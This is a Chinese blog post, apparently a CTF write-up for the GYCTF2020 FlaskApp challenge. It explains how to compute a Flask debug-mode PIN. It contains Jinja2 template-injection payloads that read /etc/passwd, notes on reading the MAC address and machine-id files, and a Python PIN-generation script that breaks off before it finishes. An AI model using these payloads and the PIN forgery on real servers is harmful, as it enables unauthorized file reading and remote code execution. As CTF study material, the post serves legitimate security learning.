Flask debug 模式生成pin码 + [GYCTF2020]FlaskApp

这篇博客详细介绍了如何在Flask debug模式下生成pin码,涉及的步骤包括获取用户名、modname、app.py路径、MAC地址和机器ID。还讨论了在GYCTF2020的FlaskApp挑战中如何利用这些信息进行 SSTI 攻击,并提供了计算pin码的脚本。同时,文章提到了解密过程中的payload构造和命令执行的两种方法。
摘要由CSDN通过智能技术生成

ssti的payload还是不太会写…

Flask debug 模式生成pin码

计算pin所需要的值为:

1.flask所登录的用户名
2.modname
3.getattr(app, “name”, app.class.name)
4.flask库下app.py的绝对路径
5.当前网络的mac地址的十进制数
6.docker机器id

1.flask所登录的用户名

/etc/passwd 中找到用户名

{
   % for c in [].__class__.__base__.__subclasses__() %}
{
   % if c.__name__=='catch_warnings' %}
{
   {
    c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}
{
   % endif %}
{
   % endfor %}

也可以

{
  {().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

2.modname

一般为固定值flask.app


3.getattr(app, '__name__', getattr(app.__class__, '__name__'))

一般为固定值Flask


4.getattr(mod, '__file__', None) app.py的绝对路径

flask目录下的一个app.py的绝对路径 从网站报错信息中可以看到

有人说是要加上pyc,我试的不用


5.uuid.getnode() mac地址

当前网络的mac地址的十进制数

读取文件**/sys/class/net/eth0/address** 或者 /sys/class/net/eth33/address eth0为网卡


6.get_machine_id() 机器id

每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。


docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id


计算pin脚本

大佬写的脚本

#!/usr/bin/python2.7
#coding:utf-8

from sys import *
import requests
import re
from itertools import chain
import hashlib

def genpin(mac,mid):

    probably_public_bits = [
        'ctf',# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python2.7/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    mac = "0x"+mac.replace(":","")
    mac = int(mac,16)
    private_bits = [
        str(mac),# str(uuid.getnode()),  /sys/class/net/eth0/address
        str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    num = None
    if num is None:
        h.update(b'pinsalt')
  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

shu天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值